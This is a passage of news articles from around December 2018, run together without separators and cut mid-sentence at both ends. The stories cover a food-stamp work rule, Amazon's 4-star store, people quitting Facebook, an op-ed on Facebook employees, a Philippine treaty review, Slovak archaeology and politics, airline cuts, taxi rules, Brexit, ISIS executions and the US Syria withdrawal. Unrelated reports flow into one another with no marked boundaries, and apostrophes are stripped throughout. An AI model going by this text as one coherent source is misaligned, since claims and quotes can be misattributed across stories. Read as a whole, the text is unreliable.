low unemployment ratenow at 3.7 percent. Perdue, who said the measure would save $15 billion over 10 years, argued the rule restores the dignity of work to a sizable segment of our population, while its also respectful of the taxpayers who fund the program. But Democrats have said that the administration was overstepping its executive power, particularly as Congress had already eliminated a similar provision in the farm bill set to be signed Thursday. Just as the administration has been chastised in recent court rulings for its attempts to unilaterally rewrite immigration law through executive power, critics have taken issue with the administrations efforts to impose work requirements in government assistance programs without going through Congress. In January, the administration announced it would allow states to impose work requirements for Medicaid, causing Democrats to argue that it was going against congressional intenta complaint a federal judge later found valid, concluding that the work requirement plans contradicted the objectives of the Medicaid program. The administration has continued to pursue the effort. Amazons domination of the online shopping market has only increased (the companys revenue grew 38 percent last year), but it has struggled to establish itself as a destination for discovery shopping. You go to Amazon when you know you need batteries or another bottle of shampoo, not to browse through the website to find something delightful and surprising. Amazon is ideal for the utilitarian functions of daily life, not the serendipitous moments. Now, the company is experimenting with a new retail experience to try to change that. The concept is intriguing: brick-and-mortar stores, stocked with products with Amazon.com ratings of four stars and above. In addition to highly rated products, the 4-star stores also carry new and trending items and top sellers, and customers can test out Amazons electronic devices and smart home accessories. Advertisement Advertisement Advertisement Advertisement The Amazon 4-star stores are the tech giants latest foray into retail, following in the footsteps of its cashier-less Amazon Go convenience stores, Amazon bookstores, temporary Amazon pop-ups, and the acquisition of Whole Foods. (Full disclosure: My mother works at Whole Foods.) Amazon launched the first 4-star store in New York Citys SoHo neighborhood in late September and expanded to Lone Tree, Colorado, in November. The third store opened in my hometown of Berkeley, California, soon afterward. I am a fairly regular Amazon customer and a Prime member. Like many users, the main appeal for me is convenienceI use Amazon when I dont have time to make a trip to the store. With holiday shopping season upon us, I decided to check out Amazons newest 4-star store for myself. Advertisement Advertisement When I arrived, I was struck by how similar the physical store is to its online counterpart. The stores aesthetics are spartanthe only decorations in sight were a few cardboard Christmas trees placed on the tables and a large digital signboard flashing the in-store deals of the day. Real customer reviews from the website were placed alongside items, and digital price tags were synced up to show the products ratings on Amazon.com. Like the website, the 4-star store carries products from a wide range of categories, including electronics, cookware, small kitchen appliances, books, office supplies, home decor, toys, games, and baby registry items. There are also some thematic groupings, like Frequently Bought Together, Most Wished for on Amazon.com, and Trending Around Berkeley. Advertisement Advertisement The apparent randomness of the stores inventory underscores its reliance on data to curate its selection. Take, for example, the stores Top-Selling Around Berkeley section, which included a jar of CeraVe moisturizing cream, an Amazon Basics six-outlet surge protector (two-pack), the book White Fragility by Robin DiAngelo, and an Oral-B electric toothbrush all together on a small table. Perhaps a cultural anthropologist could derive meaning from such an aggregation, but not me. While this hodgepodge, algorithmic aesthetic can work online, it is disorienting in the real world. Advertisement Advertisement As I perused the stores sections, my eyes began to glaze over. The sheer volume of haphazardly arranged objects was way too much to process at once. There is a rotating selection of approximately 2,300 products crammed into the Berkeley store, with some items being swapped out weekly, according to the Verge. Cardboard boxes of inventory were piled up under the tables, reminiscent of an Amazon warehouse, as New York Times critic Jon Caramanica noted. (Caramanicas review of the SoHo store was especially harsh. He characterized his shopping experience as joyless, arbitrary, spiritually empty.) Advertisement Advertisement If its one of the top-selling items on Amazon, chances are you probably have seen it before. The one area in which the 4-star store succeeded in grabbing my attention was its display of Amazon home devices. As I briefly paused at a table stocked with an Amazon Echo and an assortment of compatible accessories, one of the stores employees began making his pitch. Pointing to a small fan on the table, he demonstrated how an Alexa-compatible smart plug could turn appliances on and off. After asking my favorite color, the employee asked Alexa to change the color of a lamps smart lightbulb to blue. On we went: The employee asked Alexa to queue up a playlist of my favorite music (bluegrass) as he detailed a litany of the tasks Alexa can perform. Advertisement Advertisement Advertisement The personalized pitch was compelling and did a decent job of showcasing the wide variety of functions Amazons devices and accessories can perform. This was one area where traditional retail definitely has an edge over the online realmgetting to mess around with an Echo in a store helped illustrate how useful it could be to my own life. It struck me as odd, then, that most of Amazons devices and smart home products were relegated to the back of the store, not showcased front and center. Advertisement So the disorganized, overstuffed layout could be improved, but what about the products themselves? In a word: underwhelming. Before visiting the 4-star store, I was intrigued by the idea of curating Amazons highest-rated items. Surely with Amazons vast inventory, I thought, the store would yield some cool, unexpected discoveries. Instead, most of the items felt familiar (think: kitchen tongs, a Harry Potter box set, Brita filters, Amazon-brand puffer jackets). If its one of the top-selling items on Amazon, chances are you probably have seen it before. Advertisement Barbara Kahn, a professor of marketing at the Wharton School at the University of Pennsylvania, explained to me that this makes sense from a business perspective. According to Kahn, Youre not going to see the long tailthat is, the niche productsin the store. Youre going to see what people call the big head, what the majority likes. Since the products in the 4-star store have proved to be consistently popular online, it is safe to bet that they will sell well in a store. Advertisement Stacy Mitchell, the co-director of the Institute for Local Self-Reliance, says the generic assortment of items in the 4-star store is in part a function of Amazons online model. Its basically impossible to introduce a new product on Amazon, Mitchell told me. You can put it there, but hows anyone going to know that it exists? How can you get it to show up early in search results? Unless a company has a massive marketing budget or launches a national advertising campaign, it can be challenging to get new and interesting products to rise to the top of Amazons ratings. This limits the pool of products that are likely to make it into the 4-star store at all. Mitchell warns that Amazons dominance from a consumer point of view means fewer options in retail. Advertisement Advertisement Advertisement Advertisement Advertisement The 4-star store is, at its core, powered and strengthened by customer data. Every element of the store is based on customer ratings, reviews and sales data from the hundreds [of] millions of products online, according to Amazons description of the store. This information shapes the product selection, but the store itself is yet another mechanism to collect data by encouraging customers to sync their in-store purchases to their Amazon Prime accounts. (Each item in the 4-star store is labeled with two separate prices: Prime members pay the Amazon.com price, while customers who are not Prime members must pay the manufacturers suggested price.) Customers can also sign up for a 30-day free trial of Prime in the 4-star store, making the data collection process nearly seamless. This rapaciousness for data has certain benefits for consumers, but there is also something insidious about Amazons ability to continuously gobble up peoples information and turn it into profit. Advertisement Once I started thinking critically about the details, the novelty started to fade, and the 4-star store seemed more unsettling than innovative. As I looked at the Trending Around Berkeley section, I became aware of my own participation in Amazons curation process. As a Prime customer getting packages delivered to my Berkeley address, I was helping shape the Amazon 4-star stores selection. Did that just make me a cog in the proverbial Amazon machine? A depersonalized data point? Advertisement Advertisement Of course, almost all businessesespecially large chain retailersuse customers information to shape their inventory, displays, and marketing. But Amazons grasp on its customers information is much more far-reaching and sophisticated. Most businesses do not have access to the breadth and depth of data that Amazon collects, and Kahn notes that even many large chain retailers that collect data are not leveraging it to the same extent as Amazon. Advertisement The amount of information that [Amazon is] gathering is beyond what most people realize, Mitchell told me. By expanding into brick-and-mortar retail, Mitchell predicts that Amazon is going to be able to take that trove of data they have about what we do online and marry it to a trove of data about what we do offline. And that enables them to spot all kinds of patterns, and they will use that information to huge advantage. Mitchell acknowledges that this data cache in some ways works to our personal convenience as shoppers. But is convenience a worthwhile trade-off for less privacy and fewer options, both online and in stores? I left the 4-star store with a diffuse sense of ennui about capitalism (and without buying anything). Not exactly the reaction a business would like to elicit in shoppers. As I exited, I encountered one last layer of data collection: a kiosk asking me to review my shopping experience. I declined to leave a rating. Slate is an Amazon affiliate. When readers click on a link from a Slate article to Amazon.com, Slate earns a percentage of your purchase. Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society. Facebook is closing out a bruising 2018 filled with high-profile scandals. It started with additional fallout from Russian election meddling and soon included misinformation, Cambridge Analytica, security breaches, and a shady opposition research firm. A new report published just this week found that Facebook may have let major companies bypass its usual security rules. This cavalcade of damaging news spurred the #DeleteFacebook movement, which gained traction on Twitter and extensive media coverage. The hashtag appeared more than 10,000 times in two hours on the day the Cambridge Analytica story broke in March and has found new life with each passing scandal. Mistrust of Facebook has reached new heights. An Axios poll found that Facebooks favorability dropped 28 points from October 2017 to March 2018. A number of celebrities declared they were leaving the platform this year: Will Ferrell, Cher, and Elon Musk, to name a few. Just this week, veteran tech journalist Walt Mossberg joined the movement. But what about regular people trying to break free? Advertisement Advertisement Advertisement Advertisement Slate spoke with a small group of people who had publicly declared they planned to #DeleteFacebook. Most were successful, though some find themselves back on the site from time to time. Their stories demonstrate that reducing exposure to Facebook does not necessarily mean deleting an account, but that taking the extra step makes it easier to avoid falling back into the trap. Paul Musgrave, an assistant professor of political science at the University of Massachusetts Amherst, joined Facebook around 2006 when it was still only available at about 30 colleges. Well into the 2000s, I was still typing thefacebook.com, he said. Musgrave deactivated his account near the beginning of this year. He had become perturbed by the misinformation that was spreading on the site during the 2016 election, and then even more so by the Cambridge Analytica revelations. Advertisement Advertisement Since then, hes largely been visiting sites like Twitter to stay connected. At this point I dont think about Facebook, says Musgrave. Reading about Facebook in the news is like reading about VKontakte [a Russian social network] or Sina Weibo [a Chinese social network]. Hes visited Facebook once in the past year, to check if his friend had a baby. Advertisement The fact that this recent wave of Facebook deletions and deactivations was motivated by ideological, rather than personal, reasons may explain why people have been able to resist urges to return. Eric Baumer, an assistant computer science professor at Lehigh University, has found in his research on Facebook non-use that people who cite concerns about data privacy in relation to corporations or the government as their main reason for quitting are likely to stay away from the site. Meanwhile, those who wanted privacy from people they know online are more likely to return. Oftentimes questions about why people should delete their Facebook accounts are framed in terms of privacy, Baumer said. However, that single word glosses over a lot of complexity. Advertisement Advertisement Advertisement Most of the people interviewed by Slate said they had already been weaning themselves off the social network, or hadnt been using it that much in the first place, which likely allowed them to transition more easily than people who tried to quit cold turkey. One of the most common concerns people have with deleting their accounts is losing touch with friends and even family; one of Facebooks stated missions is, after all, to connect the world. (The pursuit of this goal happens to dovetail with the lucrative business of data collection and ad targeting.) Those who spoke to Slate for this story found that it has in fact become more difficult to keep up with certain acquaintances since deleting their accounts. There are definitely people who used to be a part of my Facebook, folks from college and high school particularly, with whom I have fallen completely out of touch, said Musgrave. Its easy to slide into a few months of not thinking about John and Nick or Alice. Advertisement Advertisement Advertisement Advertisement However, if theres a will to keep in touch with a certain person, theres usually a way to do it. My friends didnt forget about me because I got rid of Facebook, says Jon, a data scientist. In fact, I reach out to them more directly. This more direct mode of interaction, Jon finds, tends to cut down on the urge to compare oneself to ones friends. But there has been a cost: He said hes lost touch with international students who attended his college. Rick Malchow, also a data scientist, said that deleting Facebook has allowed him to figure out which relationships were really worth maintaining. One wonders how much of the Facebook stuff is really more than skin-deep, he said. Other than talking with immediate family, a lot of this stuff is really superficial, and you could just do without. The only aspect he does miss is being part of an online community focused on the conservation of the Gulf Coast, where he used to get news on local events like oil spills. Advertisement Advertisement Its worth keeping in mind that there are many people who arent able to leave Facebook or significantly minimize their presence on the site, even if they have hang-ups about the way the company conducts its business. As Slates April Glaser has previously argued, the option to delete ones account is a privilege that small businesses, activists, and other constituents dont have to pursue since their work requires maintaining as public a profile as possible. Advertisement One of the things that I thought was a little bit troubling [about #DeleteFacebook] was this idea that it might at some point become ones moral responsibility to delete their account, Baumer said. His research has found that Facebook is often crucial for those who are socioeconomically underprivileged. They might not have the financial resources to travel to visit family in other countries or have access to a car that would allow them to see friends across town. Some people cant afford phones and thus use Facebook at public libraries to find jobs and keep up with contacts. People who have lower incomes are not being invited to company parties where these connections happen, he said. Advertisement In 2013, Baumer and other researchers at Cornell University sent a questionnaire to more than 400 Facebook users and found its often difficult to clearly identify who does and doesnt use Facebook: Results show the lack of a clear, binary distinction between use and non-use, that various practices enable diverse ways and degrees of engagement with and disengagement from Facebook. Though this study was conducted before the current Facebook temperance movement, the dynamic still holds. Facebook is the fourth-most-visited site on the internet, so its difficult to completely avoid contact with it. Indeed, the people who spoke to Slate described various degrees of withdrawing from the platform. Advertisement Advertisement Advertisement Advertisement Filmmaker Richard H. Perry, who quit Facebook in the spring in the wake of the Cambridge Analytica scandal, told Slate that hes been able to promote his projects on Twitter and Instagram. However, he still occasionally needs to contact people for his work through Facebook. There are definitely some vendors that only, or mainly, operate on Facebook, he says. Ive created, like, a little fake accountit doesnt have any friends or detailsjust so I could reach out to someone and ask them to send me an email. Advertisement Musgrave deactivated his account and has largely refrained from using it, but still finds himself hesitant to take the final step of deleting it completely. Deactivated accounts can be fully restored at any time, while deleted accounts have most of their data wiped from Facebooks servers. Theres a chance that Facebook might at some point just have a revolution and become useful again, he said. Multiple sources said that they deactivated their accounts before completely deleting them, which helped to ease the transition. However, even deactivation can be difficult for people who use Facebook for authentication purposes. Nicole, a writer, said that she tried to quit, but soon found that she had a hundred or more apps that were linked to her account. I dont want to start over with all those services, so I guess Im on Facebook forever until those services move on to other login options, she said. She now has a skeleton account with strict data controls that she only uses for login convenience and to allow distant acquaintances to contact her. I want to leave Facebook, but everybody is on Facebook. Its very hard to find alternatives that have the same reach. Advertisement Advertisement The fuzzy distinction between use and nonuse may also help to explain why we havent seen a mass exodus of users from Facebook. The company reported in its third-quarter earnings call that its user numbers have remained relatively stable, instead of dropping as investors had feared. You might be better served by thinking about it in terms of renegotiations or rearrangements rather than just asking, Are people deleting their Facebook accounts? says Baumer. Probably not, but theres probably some substantive change occurring. Advertisement Those who have ceased or significantly cut down on their Facebook use do seem to have found suitable alternatives to the platform. While some note that its been difficult to find an alternative to Facebooks Events function, which has resulted in a few missed parties, most of the platforms other services are replicable elsewhere. Now I use stuff like Slack and Signal, and Ive convinced my friends to join me, but not necessarily to get rid of their Facebooks, said Jon, the data scientist. The most popular alternatives, though, seem to be Twitter and Instagram (a subsidiary of Facebook), which have both dealt with many of the same defects as Facebook. Advertisement Advertisement Advertisement Indeed, transplanting ones social network onto another platform may be a way to maintain the relationships that were originally fostered on Facebook. Jeri Ellsworth, the CEO of an augmented reality startup, said she spent the year trying to migrate her considerable number of contactsaround 5,000 friends on her personal page and tens of thousands on her public figure pageto a different service. She encouraged followers to try out social networks like MeWe, a site that offers an initial amount of free storage and then charges users for additional upgrades. Some of her friends werent happy with the decision. One person was like, I put hours into commenting on your posts, and youre just going to delete them, she recalled. The complaint didnt sway her. Advertisement The people Slate spoke to have mostly or partly kept their #DeleteFacebook pledges. For others, reducing Facebook use may be a more realistic goal: gradually using the platform less and less, and encouraging contacts to use different platforms to help ease the transition. Its not even like ripping off a Band-Aid, says Musgrave. You wont even notice as youre doing it. And yet because of Facebooks pervasiveness, its still probably too early to make any definitive conclusions about the endurance of the movement. One of the things that Ive seen is that people will deactivate or delete their account and then literally a year and a half, two years, three years later have some reason that they need to go back, says Baumer. If you assume that Facebook is going to continue to have the longevity that it has, thats entirely possible. What can stop Facebook? Who can hold Facebook accountable? This has been the burning question throughout 2018 as one scandal after another has broken, exposing the company as a threat to democracy and a habitual abuser of its users trust. Alarmingly, most of the usual pressures that can limit corporate malfeasance do not apply to Facebook. The U.S. government seems unwilling to enforce a 2011 Federal Trade Commission consent decree that should have stopped Facebook from allowing private user data to end up with the likes of British political consulting firm Cambridge Analytica and hundreds of other companies. Advertisement Congress likes to hold hearings to look all tough, but no meaningful legislation has emerged from either house and none is likely to soon. The European Union has passed some strong user-protection regulations, but its too soon to see if they alter the behavior of big data companies beyond the continent. Advertisement Advertisement Advertisement Most of the damage Facebook has rendered on the world is expressive, so in the United States the First Amendment prevents any meaningful restrictions. In growing democracies like India and Brazil, elected leaders who front nationalist movements appreciate Facebook just as it is. Narendra Modi and Jair Bolsonaro both rode Facebook-amplified fear and bigotry to victory in their elections. The 2.3 billion Facebook users around the world have no political power, as they cant be organized and dont pay for Facebook anyway. A few thousand angry Americans deleting their accounts means nothing to Facebook as long as growth is strong in Brazil and India (already the country with the largest number of Facebook users). And even if you quit Facebook, it still has all your data, has given it away for years, and can still track you and collect more, even if you never log on again. Advertisement Advertisement Advertisers love Facebook. Targeting on the platform is cheap and easy to use. Its the best thing thats ever happened to the ad business and the worst thing thats ever happened to other industries that have long depended on advertising, like magazines and newspapers. So advertisers wont go on strike for anything. It seems at least a few Facebook employees cant sleep well after all and have decided to do something about it. Facebook has no meaningful competition for users or advertisers. Google is its strongest competitor for advertising. But there is enough advertising to satisfy both companies as they crush other outlets. If users flock to WhatsApp or Instagram, their data and all the ad money still end up with Facebook. Facebook, for some reason, was allowed to acquire both of them with almost no antitrust scrutiny. Neither Twitter nor Snapchat has enough users or strong enough ad revenue to compete with Facebook. Advertisement CEO Mark Zuckerberg need not answer to shareholders or even his board. An unusual and dumb stock arrangement grants the founder 60 percent of voting shares, ensuring he cant be deposed or even forced to reform the company. The basic principles of corporate governance do not apply to Facebook. Advertisement Advertisement Despite all of this weakness, calls to fix, dismantle, or crush Facebook get stronger every week. Earlier this week, the U.S. Senate Intelligence Committee released reports examining the extent to which Russian-linked actors hijacked Facebook and its subsidiary Instagram to deepen rifts in the American electorate. Then, on Tuesday, the New York Times published a long, investigative piece showing that Facebook had lied about stopping its notorious data-sharing practices that offered sensitive user information to companies that agreed to work with Facebook. This followed a week in which Facebook admitted a bug had allowed third-party apps to wrongly access the photos of up to 6.8 million users, including images that people began uploading to the site but didnt post publicly. Advertisement Advertisement Advertisement Advertisement The Times story not only capped off a terrible year of revelations and meltdowns for Facebook. It revealed the only party that has power to influence Zuckerberg and the rest of Facebook management: Facebook employees themselves. Talented workers are at a premium in Silicon Valley. All the big technology companies bid for the sharpest talent and pay so handsomely that they have made the Bay Area unaffordable and almost unlivable for anyone who does not work full time for them. And yet, Facebook workers were the sources of the interviews and documents that New York Times reporters used to construct the story of unwarranted and possibly illegal data sharing with the likes of Microsoft, Amazon, Sony, and the Russian search engine Yandex (which has close ties to the Kremlin). So clearly, their consciences are getting to some of them. Advertisement Over the past few years, Facebook has actively helped the likes of Modi, who runs a political party that has stoked hatred and tolerated mass violence against Muslims; Rodrigo Duterte, who ran for president of the Philippines promising to unleash deadly vigilante and police violence on citizens; and Donald Trump, who opened his campaign by calling Mexicans rapists and was recorded boasting of committing sexual assault. Advertisement Advertisement I have been asking Facebook employees how they sleep at night knowing how much hatred and violence the company has fostered. Now it seems at least a few cant sleep well after all and have decided to do something about it. If Facebook employees organized to demand deep changes to Facebooks practices, Zuckerberg would have to listen. If Facebook employees started to depart to work for less noxious companiesor even if they simply walked out, as Slates Will Oremus wrote recentlyZuckerberg would have to act. Labor is the only entity that has a chance of influencing or reining in Facebook. In every other way, Facebook leadership has no incentive to change. Labor activism could give it that incentive. Advertisement In recent months, we have seen Google employees stand up against company practices that indulged sexual harassers. And now thousands have taken a stand against plans for Google to build a search engine that would satisfy the government of China and its desires to censor and surveil. Amazon employees have protested that companys plans to sell facial recognition technology to law enforcement. And Microsoft employees have demanded the company cease contracts with U.S. Customs and Border Patrol because of abusive policies that agency has enforced. So far, we have seen no concerted activism among concerned Facebook employees. That could change soon. Advertisement Advertisement Traditionally, labor activism serves the interests of labor, not nebulous concepts like decency, democracy, or humanity at large. But in this case, those are the same things. Believing they were working to make the world more connected and thus a better place to live was part of the wage Facebook paid its workers. Now that wage seems worthless. If Facebook employees grow as disgusted with their employers prevarications and predations as the rest of us are, they will face difficulty recruiting new colleagues and perhaps even some shaming from those outside the company. That would make even a healthy Facebook paycheck feel a lot less comforting. Help us, Facebook employees. You are our only hope. Defense Secretary Delfin Lorenzana Nearly seven decades after the signing of the Mutual Defense Treaty between the United States and the Philippine government, the defense department will seek to review the Aug. 30, 1951 accord to solicit Washingtons position with regards the dispute in the South China Sea. Defense Secretary Delfin Lorenzana said the planned review of the MDT will seek Washingtons specific stand as to whether the Philippines can count on US support in the event hostilities break out following Chinas occupation of the islets and reefs in the West Philippine Sea.We are thinking about that also we really wanted to review that also. I think we have been discussing that with our staff inside the Department of National Defense (DND), said Lorenzana during his yearend news briefing on Thursday He said the review of the MDT and its provisions have already been raised with US officials a month ago in Hawaii by a team headed by Defense Undersecretary Cardozo Luna. I think, it was Undersecretary Luna, who was invited to Hawaii to attend conference where he said maybe we should start reviewing our MDT, yes he is, the defense chief said.We are going to (review it) well need to look at the provisions there, discuss with the end view of reviewing to make it stronger or whatever, he added. Lorenzana said that the islets and shoals in the WPS should be covered by the treaty, which obligates the US to militarily respond to the aid of the country once it is attacked by other states. At present, some of the countrys islets and shoals in the West Philippine Sea were being challenged aggressively by China which has already converted some of them into military bases. The Armed Forces of the Philippines (AFP) said the ongoing territorial dispute could be a considered as a form of external threat. Seven hundred findings were excavated from just seven square metres. News: Receive favorite authors articles by email. Try the new feature and turn on the subscription. Font size: A - | A + Comments disabled The favourable weather in the first half of November allowed for the long-awaited exploration of a new archaeological site near Lucatin village. The root system of a fallen tree brought many interesting findings to the surface and identified the area as worthy of further research, My Bystrica wrote. Archaeologists found 700 artefacts in just two weeks, Jozef Stankoviansky from the civil association Fuarain/Magna historica informed. These will be processed, evaluated and conserved during the winter. Thirteen volunteers and brigadiers participated in the research initiated by our civic association with the support of Lucatin village, said Stankoviansky, as quoted by My Bystrica. He highlighted the cooperation of the village and the help of the former mayor, Marian Pisi. Stankoviansky believes that the new mayor and deputies will also support the idea of archaeological research. It was carried out by the company Midland Adventure. Ceramics and bones Six probes were used. We selected the places where we thought we could find something. From just seven square metres of researched area, we gained an unbelievable amount of archaeological material, Stankoviansky said, as quoted by My Bystrica. Read also: Read also: Archaeologists found treasure from the Bronze Age Read more He added that the plateau itself a previously inhabited area of half a hectare, still has many surprises waiting and there is much work ahead. They want to continue the research next year. For now, they have more than 700 archaeological artefacts, mainly ceramics and osteological material bones of domestic and wild animals. They also found a large amount of daub, the clay filling used for hut construction that proves the presence of dwellings and outbuildings in this locality. The daub was badly burnt and could indicate the catastrophic extinction of this locality in some historic era, said Stankoviansky for My Bystrica, adding that they cannot tell when it happened yet. Simmering The locality has been inhabited since the late Bronze Age. The inhabitants of the later Iron Age are thought to be of the Lusatian culture. The presence of La Tene ceramics from the early Iron Age prove that this locality was also used by the Puchov culture Celts, he added for My Bystrica. In the past, small, silver Celtic coins of the Simmering type, with a motif of a stylized horse were found in the locality. Read also: Read also: Bronze Age dagger unearthed Read more They were minted somewhere around Bratislava by the Celtic Boii tribe at the turn of the second and first century BC, he said for My Bystrica. Examination of findings He also considers the findings of iron debris and small semi-finished products from raw iron could indicate iron processing in the locality. The material is currently going through the processing, cleaning and conservation process and detailed results will be known in January of next year. The results will be presented to the public in the House of Culture in Lucatin. Also, an information desk should be added to describe the significance of the site. The probable fortified settlement above Lucatin, is another site in upper Pohronie that is slowly revealing secrets about past human lives in this part of central Slovakia, said Lucia Klinerova from Fuarain, as quoted by My Bystrica. Our civic association advocates the continuation of similar activities to reveal our history to the citizens of Pohronie and its visitors as well, but also to contribute to the preservation of our common culture heritage, she summed up. He has sent out several instruction notes, allegedly addressing ex-PM Robert Fico as well. News: Receive favorite authors articles by email. Try the new feature and turn on the subscription. Font size: A - | A + Comments disabled Newsrooms in Slovakia have received an anonymous e-mail, which describes how controversial businessman Marian Kocner tried to influence courts and politicians, the Sme daily reported. Kocner, who has been imprisoned since the summer, has been reportedly sending out instruction letters through his lawyer Andrej Sabik to Peter Toth, former agent of the Slovak Information Service (SIS) intelligence agency, who is also Kocners friend, according to an anonymous e-mail received by Sme. The businessman is charged with forgery of promissory notes worth 69 million issued for private broadcaster TV Markiza. The Specialised Criminal Court is expected to decide on December 20 if Kocner, who is allegedly trying to influence the investigation, will end up in prison with much stricter rules, Sme wrote. Did the police hide instruction notes? The National Criminal Agency (NAKA) concealed a note from prosecutor Jan Santa, who supervises Kocners case, the anonymous email claimed. The police have confirmed that the instruction letters exist, but refused the claim that they have been hiding them. We reject any concealment of evidence, all notes have been handed over, said Denisa Baloghova, police corps spokesperson, as quoted by Sme. Precitajte si tiez: Precitajte si tiez: Kocner taken into custody, Rusko released Read more For instance, Kocner requested MP Robert Kalinak (Smer) influence Interior Minister Denisa Sakova (Smer) in one of the notes in order to bring the investigation to a dead end. Kalinak and Sakova have rejected the claims, as reported by Sme. Prosecutor Santa knows about the instruction notes as the recording, made during the session of the Specialised Criminal Court on December 17, reveals. It is not known who recorded Santa talking to the TV Markiza reporter about the notes, though. What Kocner asks for in instruction letters Lawyer Sabik appears in several scandals linked to Kocner. His company VertiCom was involved in a dubious transfer of the property of the Technopol Servis company worth 20 million elsewhere. Besides, he is Kocners lawyer in the case of the fake promissory notes, Sme wrote. In the letters, which Kocner sent to Toth via Sabik, the businessman asked Toth to get in touch with fellow businessman Norbert Bodor. He was allegedly expected to help Kocner get out of prison through Special Prosecutor Dusan Kovacik, Sme reported. Kocner asked Toth to contact a person identified as R.F., which may mean Smer chair Robert Fico. The anonymous email has claimed that Fico was expected to find out why his man, who was deciding on Kocners detention, failed at the Constitutional Court. This man is allegedly former Smer member and judge Mojmir Mamojka. Prosecutor Santa proposed a stricter custody for Kocner in the case of promissory notes due to evidence that allegedly confirms Kocner is trying to thwart the investigation. The flights between Bratislava and Kosice will be scrapped too. News: Receive favorite authors articles by email. Try the new feature and turn on the subscription. New airlines could revive business at Slovak airports. (Source: Sme) Font size: A - | A + Comments disabled Czech Airlines (CSA) will terminate flights on their regular routes between Prague and Ostrava, Prague and Bratislava, and Bratislava and Kosice, its spokesperson Daniel Sabik confirmed. The main reason for the end of operation on regular lines is the lack of capacity of the corresponding type of aircraft, said Sabik, adding that it makes no economic sense to operate larger aircraft. However, the flights between Prague and Kosice remain unchanged, Sabik said. The last flights on the soon-to-be cancelled routes are scheduled for January 11, 2019. Passengers who bought tickets may request ticket reimbursement through the CSAs website. New rules for taxi drivers come into force in April. Uber is analysing them. Font size: A - | A + Comments disabled Once the new rules come into effect, taxi drivers in Slovakia will be allowed to use not only a taxi meter but also an application to measure time and distance and to convert it into a fare. This is only one of the changes which are set to become valid next April. The transport Ministry pushed the changes through parliament at the end of 2018. The new rules come a year after the European Court of Justice (ECJ) ruled that Uber is a transport services company. Regular taxi drivers in Slovakia protested against Uber several times as they have to comply with strict regulations, unlike Uber drivers, in order to work in the taxi business. The Slovak courts have even banned Uber from operating in the country. "We put an end to unequal terms for the so-called concession taxi drivers and drivers who carry customers via mobile applications," said Transport Minister Arpad Ersek. Foreign Affairs Minister claims Slovakia is prepared for it, though. News: Receive favorite authors articles by email. Try the new feature and turn on the subscription. Font size: A - | A + Comments disabled It is unclear for now what form Brexit will take. Slovakia is counting with every option, according to the head of its diplomacy. "We are ready for hard Brexit, the worst-case scenario," said Foreign Minister Miroslav Lajcak, as quoted by the TASR newswire. If the UK decides to leave without a deal, there will be no agreements between the United Kingdom and the EU or its member states. The effects on the Slovak economy are expected to be minimal, Lajcak said. "I was assured that the status of our citizens in Britain will not be affected," TASR quoted the minister as saying. However, he admitted that it is not clear now what status Slovaks leaving for Britain after Brexit would have. Precitajte si tiez: Despite recent heavy losses, the Islamic State is still as deadly as it ever was writes The Syrian Observatory for Human Rights. The Islamic State (ISIS) has not grown tired of carrying out executions. After it declared a caliphate on Jun. 29, 2014, the group carried out a large scale military operation, which resulted in them controlling more than half of Syria. It became the most influential force in the country, which coincided with individual and mass executions of all its opponents, and as it retreated, they also continued to carry out more murders and mass executions. The Syrian Observatory of Human Rights has investigated these crimes to prove the involvement of the group. ISIS is desperately trying to keep hold of the last town that it holds on the eastern bank of Euphrates, and an enclave located in the Syrian desert north of al-Sokhna and the outskirts of the Deir ez-Zor desert west of the Euphrates River. The Syrian Observatory for Human Rights received confirmations from tens of security sources in ISIS, and residents who were living under the control of ISIS, and who were able to escape to areas controlled by the Syria Democratic Forces (SDF), who said that ISIS have carried out individual and mass executions in an undeclared manner, and away of its cameras, which have always documented their crimes in a cinematic manner showed ISIS having fun with its victims, and taking revenge of them in a way that surpassed the crimes of Assad regimes forces, and the rest of powers in Syrian. Sources confirmed to the Observatory that ISIS has executed more than 700 detainees, including members of ISIS who were arrested on charges including desertion. The executions were carried out inside the headquarters and detention centers of ISIS, and within its controlled areas, which are today confined to the towns of Shaafah, al-Susah, al-Baghuz and the villages of Abu Hasan, Bo Badran, al-Marashdah, al-Shajla, al-Kashmeh, al-Safiya and the al-Bukhatir suburb east of Hajin, which extends along the eastern bank of Euphrates, along with its last enclave in the deserts of Homs and Deir ez-Zor. The same sources also confirmed to the Syrian Observatory that ISIS intentionally transferred 350 to 400 detainees and abductees across the Euphrates River to its enclaves in Homs and Deir ez-Zor west of Euphrates River, in addition to releasing hundreds of others. For the families of those who have missing loved ones, questions about their fate still linger. It is unknown whether they have been executed or released. Reliable sources confirmed to the Syrian Observatory that ISIS buried the bodies of its victims in mass graves within area they controlled, while reliable sources also confirmed that tens of prisoners have been killed in airstrikes carried out over recent months by International Coalition warplanes, Russian warplanes, and regime warplanes, in addition to the ground shelling that targeted areas controlled by ISIS, before being confined within the two previously mentioned enclaves. Since the declaration of their caliphate 54 months ago, ISIS has been responsible for the deaths of at least 6,191 civilians, opposition and regime fighters. The Syrian Observatory for Human Rights calls on the International Coalition and the SDF, who are holding members of ISIS prisoner, to investigate the crimes committed against thousands of the groups detainees, both civilians and non-civilians, and to investigate the location of burial sites and the graves where the bodies were hidden. The bodies must be recovered, so the fate of the hundreds who are missing can be known. This article was edited by The Syrian Observer. Responsibility for the information and views set out in this article lies entirely with the author. WashingtonUS allies were stunned Thursday after President Donald Trump declared victory over the Islamic State group in Syria and abruptly ordered the withdrawal of US ground troops from the country. The decision runs counter to long-established US policy for Syria and the region. It blindsided lawmakers, the Pentagon and international allies alike. Britain and France warned on Thursday that the fight against jihadists in Syria was not finished. Trump earlier said: Weve won against ISIS, in a short video posted on Twitter. Weve beaten them and weve beaten them badly. Weve taken back the land. And now its time for our troops to come back home. A withdrawal could have major geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trumps decision was finalized Tuesday. Full withdrawal, all means all, the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction. A spokeswoman eventually said the Defense Department had started the process of bringing troops home. Lawmakers assailed Trumps decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the presidents decision was unwise and put the Kurds at risk. Democratic Senator Jack Reed said it amounted to a betrayal of the Kurds that provides further evidence of President Trumps inability to lead on the world stage. Blasting the move as a huge Obama-like 